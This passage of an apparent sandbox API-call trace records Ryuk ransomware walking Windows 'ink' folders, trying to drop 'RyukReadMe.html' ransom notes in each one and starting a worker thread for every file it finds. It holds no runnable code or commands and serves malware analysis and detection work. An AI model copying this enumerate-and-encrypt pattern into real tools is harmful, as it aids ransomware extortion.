	[0126.029] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c53a9c4, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5c53a9c4, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe29c9700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe2800, dwReserved0=0x7c, dwReserved1=0x0, cFileName="FlickLearningWizard.exe", cAlternateFileName="")) returned 1
	[0126.029] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1
	[0126.029] SetLastError (dwErrCode=0x0) 
	[0126.029] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0126.029] GetLastError () returned 0x5
	[0126.029] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0126.030] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0126.030] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79c20
	[0126.031] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0126.031] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0126.031] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0126.031] FindClose (in: hFindFile=0x79c20 | out: hFindFile=0x79c20) returned 1
	[0126.031] SetLastError (dwErrCode=0x0) 
	[0126.031] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0126.031] GetLastError () returned 0x5
	[0126.031] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0126.032] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0126.034] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1
	[0126.034] SetLastError (dwErrCode=0x0) 
	[0126.034] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0126.035] GetLastError () returned 0x5
	[0126.035] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0126.035] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0126.035] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79c20
	[0126.152] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0126.152] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="auxpad", cAlternateFileName="")) returned 1
	[0126.152] SetLastError (dwErrCode=0x0) 
	[0126.152] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0126.152] GetLastError () returned 0x5
	[0126.152] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0126.152] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0126.153] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*.*", lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a280
	[0126.316] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0126.316] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0xa0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 1
	[0126.316] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0126.317] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x328
	[0126.318] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.319] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0xa0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 0
	[0126.319] FindClose (in: hFindFile=0x7a280 | out: hFindFile=0x7a280) returned 1
	[0126.319] SetLastError (dwErrCode=0x0) 
	[0126.320] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0126.320] GetLastError () returned 0x5
	[0126.320] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0126.320] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0126.320] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2b1a99, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2b1a99, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2b1a99, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x84, dwReserved1=0x0, cFileName="auxpad.xml", cAlternateFileName="")) returned 1
	[0126.320] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0126.321] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x324
	[0126.323] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.323] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="keypad", cAlternateFileName="")) returned 1
	[0126.323] SetLastError (dwErrCode=0x0) 
	[0126.324] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0126.324] GetLastError () returned 0x5
	[0126.324] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0126.324] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0126.324] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*.*", lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a280
	[0126.325] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0126.325] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f4a0c5f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f4a0c5f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0xa0, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 1
	[0126.325] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0126.326] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x330
	[0126.328] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.329] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x45e, dwReserved0=0xa0, dwReserved1=0x0, cFileName="keypadbase.xml", cAlternateFileName="")) returned 1
	[0126.329] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0126.330] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x334
	[0126.331] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.332] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0xa0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 1
	[0126.332] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0126.332] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x338
	[0126.334] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.335] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0xa0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 0
	[0126.335] FindClose (in: hFindFile=0x7a280 | out: hFindFile=0x7a280) returned 1
	[0126.335] SetLastError (dwErrCode=0x0) 
	[0126.336] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0126.336] GetLastError () returned 0x5
	[0126.336] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0126.336] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0126.336] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f47ab01, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f47ab01, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f47ab01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x84, dwReserved1=0x0, cFileName="keypad.xml", cAlternateFileName="")) returned 1
	[0126.336] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0126.337] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x32c
	[0126.339] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.340] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="main", cAlternateFileName="")) returned 1
	[0126.340] SetLastError (dwErrCode=0x0) 
	[0126.340] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0126.341] GetLastError () returned 0x5
	[0126.341] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0126.341] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0126.341] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*.*", lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a280
	[0126.346] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0126.346] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f643b69, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f643b69, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc4e, dwReserved0=0xa0, dwReserved1=0x0, cFileName="base.xml", cAlternateFileName="")) returned 1
	[0126.346] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0126.347] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x340
	[0126.495] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.496] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0xa0, dwReserved1=0x0, cFileName="baseAltGr_rtl.xml", cAlternateFileName="")) returned 1
	[0126.496] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0126.497] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x370
	[0126.500] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.500] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc59, dwReserved0=0xa0, dwReserved1=0x0, cFileName="base_altgr.xml", cAlternateFileName="")) returned 1
